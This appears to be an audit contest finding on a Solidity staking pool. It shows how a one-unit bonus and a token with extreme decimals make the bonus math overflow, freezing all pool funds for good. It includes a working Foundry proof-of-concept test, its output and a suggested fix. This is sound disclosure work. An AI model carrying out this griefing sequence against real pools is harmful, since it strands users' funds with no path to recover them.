FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Expanded-form k=2 bonus math overflows before cancellation, permanently freezing all pool funds when an allowlisted standard ERC20 has an extreme decimals()

Author Revealed upon completion

Root + Impact

Description

_bonusShare() computes the k=2 time-weighted score amount·(T − entry)² in expanded polynomial form, building the two positive uint256 intermediates before the cancelling subtraction:

// _bonusShare() — src/ConfidencePool.sol#L704-L710
// @> expanded intermediate == stake·(T² + R²); checked arithmetic PANICS here, before the (T−R)² cancellation
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u]; // == stake·2TR
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
// @> same expanded overflow on the global-score terms
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;

The factored result stake·(T − R)² (where R = riskWindowStart, T = outcomeFlaggedAt) fits uint256 comfortably. But the expanded intermediate stake·(T² + R²) is far larger, and because Solidity 0.8 arithmetic is checked, an intermediate over 2²⁵⁶ − 1 panics (0x11) instead of computing the small, in-range final value. A claim that should succeed reverts permanently.

The same values are accepted without overflow at deposit time, because stake() only ever multiplies by a single small timestamp, never by T² + R²:

// stake() — src/ConfidencePool.sol#L252-L253
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry; // stake·entry² — fits when entry is small

So there is an asymmetry: a stake magnitude that is valid on the way in (and valid when the risk window opens, stake·R²) becomes un-payable on the way out (stake·(T² + R²)), and the funds cannot leave the pool by any path.

Arming the branch is permissionless. _bonusShare() skips the vulnerable math only when snapshotTotalBonus == 0:

// _bonusShare() — src/ConfidencePool.sol#L697
if (snapshotTotalBonus == 0) return 0;

Any account can call contributeBonus(1) — a single raw unit — to make snapshotTotalBonus != 0 and arm the overflow for every staker in the pool.

The freeze is total and permanent. Once armed, a zero-stake account resolves the pool EXPIRED via claimExpired() (the resolution branch does not call _bonusShare, so it does not revert), which latches claimsStarted = true. From that point:

  • every real staker's claimSurvived() / claimExpired() re-evaluates the expanded polynomial and panics;

  • withdraw() is disabled (post-risk, riskWindowStart != 0);

  • flagOutcome() re-flagging is locked (claimsStarted);

  • sweepUnclaimedBonus() reserves the whole balance (totalEligibleStake is never decremented because no claim succeeds) and reverts NothingToSweep.

All principal + bonus is stranded in a non-upgradeable clone with no recovery path. The attacker gains nothing (pure griefing) and pays one raw unit.

Source:

Risk

Likelihood: Low

  • The overflow requires a single staker (or the global sum) to reach ≈ 1.89e58 base units of stake. Translated by decimals():

    decimals() tokens to trigger realistic?
    18 (normal) ~1.9e40 no — exceeds any supply
    24 ~1.9e34 no
    45 ~1.9e13 amount plausible, but a 45-decimal token is unheard of
    54 ~18,900 amount plausible, 54-decimal token is not
    60 (this PoC) ~0.019 tiny amount, but a 60-decimal token is not realistic

    There is no combination of realistic decimals (≤ ~24) and realistic supply that reaches it. It fundamentally needs a ≥ ~50-decimal ERC20, placed on the factory owner's allowlist.

  • Given such a token, the trigger is fully permissionless: an ordinary boundary-size stake, a one-unit contributeBonus, and a zero-stake claimExpired. No privileged role, no collusion.

Impact: Medium (classified) — technically severe if triggered

  • The consequence if triggered is a permanent, irreversible loss of availability of all principal + bonus in the affected pool clone: no upgrade, no admin recovery, and every exit path (claim / withdraw / sweep / re-flag) is blocked.

  • Classified Medium rather than High because it is bounded to a single pool clone and cannot occur without the factory owner allowlisting a pathological-decimals() token. Medium impact × Low likelihood → Low overall.

Why it is in scope despite the exotic precondition

  • The contest compatibility statement is "ERC20 (standard only; fee-on-transfer and rebasing tokens are NOT supported)" — it excludes only FoT and rebasing and sets no bound on decimals() (README L121-L132).

  • The PoC token is unmodified OpenZeppelin ERC20 accounting; only the display-only decimals() is overridden, which OZ documents as an arbitrary uint8. It is a "standard ERC20" by the literal compatibility class.

  • Neither ConfidencePool nor ConfidencePoolFactory has any decimals or stake-magnitude guard (zero decimals references in the in-scope source), so the expanded-form overflow is unmitigated in-scope code.

Proof of Concept

test/repro/K2ClaimOverflow.t.sol deploys the real in-scope ConfidencePoolFactory behind an ERC1967 proxy, allowlists a plain-OZ ERC20 whose only unusual property is decimals() == 60, uses a realistic minStake of 1e57 (0.001 token), stakes a boundary-size position of < 0.02 token, and compares two pools that differ only by a one-unit bonus. The control pool (zero bonus) returns principal; the victim pool's staker claim reverts arithmeticError and the full balance stays locked.

  • Target commit: 58e8ba4ce3f3277866e4926f3140e597f9554a1e

  • PoC file SHA-256: ad12b0e050b9a3b95cf843eafaa18986126379b741d7cd65451712e09b4f47ab

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {stdError} from "forge-std/StdError.sol";
contract HighDecimalsMockToken is MockERC20 {
function decimals() public pure override returns (uint8) {
return 60;
}
}
contract K2ClaimOverflowReproTest is BaseConfidencePoolTest {
function test_oneUnitBonusPermanentlyLocksOtherwiseClaimablePrincipal() external {
token = new HighDecimalsMockToken();
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy factoryProxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(safeHarborRegistry), address(implementation), moderator)
)
);
ConfidencePoolFactory factory = ConfidencePoolFactory(address(factoryProxy));
// The token uses plain OpenZeppelin ERC20 accounting: no fees, rebasing, callbacks, or
// transfer quirks. Its only unusual property is the standards-conformant decimals value.
factory.setStakeTokenAllowed(address(token), true);
uint256 termEnd = block.timestamp + 31 days;
uint256 configuredMinStake = 10 ** 57; // 0.001 token at 60 decimals.
ConfidencePool victim = ConfidencePool(
factory.createPool(agreement, address(token), termEnd, configuredMinStake, recovery, _defaultScope())
);
ConfidencePool control = ConfidencePool(
factory.createPool(agreement, address(token), termEnd, configuredMinStake, recovery, _defaultScope())
);
assertTrue(factory.allowedStakeToken(address(token)), "plain ERC20 is allowlisted");
assertEq(victim.minStake(), configuredMinStake, "realistic high-decimal minimum");
assertEq(victim.expiry(), control.expiry(), "same term");
uint256 riskStart = block.timestamp + 1 days;
termEnd = victim.expiry();
// This stake is accepted at deposit time and when the risk window opens. With 60 token
// decimals it is less than 0.02 displayed tokens, despite its large base-unit value.
// At settlement, however, T^2 * stake + riskStart^2 * stake exceeds uint256.
uint256 scoreDenominator = termEnd * termEnd + riskStart * riskStart;
uint256 acceptedStake = type(uint256).max / scoreDenominator + 1;
assertLt(acceptedStake, 2 * 10 ** uint256(token.decimals() - 2), "less than 0.02 token");
_stakeInto(victim, alice, acceptedStake);
_stakeInto(control, bob, acceptedStake);
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
victim.pokeRiskWindow();
control.pokeRiskWindow();
// Any account can turn on the vulnerable bonus branch for one base unit. The zero-bonus
// control takes the early return in _bonusShare and remains fully claimable.
token.mint(carol, 1);
vm.startPrank(carol);
token.approve(address(victim), 1);
victim.contributeBonus(1);
vm.stopPrank();
vm.warp(termEnd);
// A non-staker mechanically resolves both pools while the agreement remains attackable.
// This also locks the outcome against moderator re-flagging.
vm.prank(dave);
victim.claimExpired();
vm.prank(dave);
control.claimExpired();
assertEq(uint256(victim.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(uint256(control.outcome()), uint256(PoolStates.Outcome.EXPIRED));
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
control.claimExpired();
assertEq(token.balanceOf(bob) - bobBefore, acceptedStake, "zero-bonus control returns principal");
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
victim.claimExpired();
assertEq(token.balanceOf(address(victim)), acceptedStake + 1, "principal and bonus remain locked");
assertEq(victim.eligibleStake(alice), acceptedStake, "claim accounting never advances");
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
victim.sweepUnclaimedBonus();
}
function _stakeInto(ConfidencePool target, address staker, uint256 amount) internal {
token.mint(staker, amount);
vm.startPrank(staker);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
}

Run:

forge test --match-path 'test/repro/K2ClaimOverflow.t.sol' \
--match-test test_oneUnitBonusPermanentlyLocksOtherwiseClaimablePrincipal -vvv

Observed result:

[PASS] test_oneUnitBonusPermanentlyLocksOtherwiseClaimablePrincipal()
Suite result: ok. 1 passed; 0 failed; 0 skipped

The control pool returns principal; the victim pool's claim reverts arithmeticError, eligibleStake never advances, sweepUnclaimedBonus reverts NothingToSweep, and the full balance stays locked.

Recommended Mitigation

Either (a) bound the stake magnitude so the expanded polynomial cannot overflow at the largest possible T = expiry, or (b) evaluate the score in factored form / with 512-bit intermediates so the oversized positive terms never materialize. Math.mulDiv on the final fraction alone does not help, because the panic occurs building the numerator before any division.

Magnitude-guard sketch (the first stake locks expiry, so T is bounded):

uint256 e = uint256(expiry);
uint256 maxSafeStake = type(uint256).max / (2 * e * e);
if (totalEligibleStake > maxSafeStake || received > maxSafeStake - totalEligibleStake) {
revert StakeMagnitudeTooLarge();
}

Duplicate / known-issue check

Public contest repo had zero issues at review time; its only PR was unrelated lint cleanup. docs/DESIGN.md, protocol-readme.md, and the shipped tests do not disclose or guard this expanded-form overflow. Private contest duplicates during the live window cannot be ruled out.

Safety statement

Testing used only local deployments, a mock token, and the pinned target commit. No live transaction was broadcast, no real funds moved, and no third-party or production system was accessed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!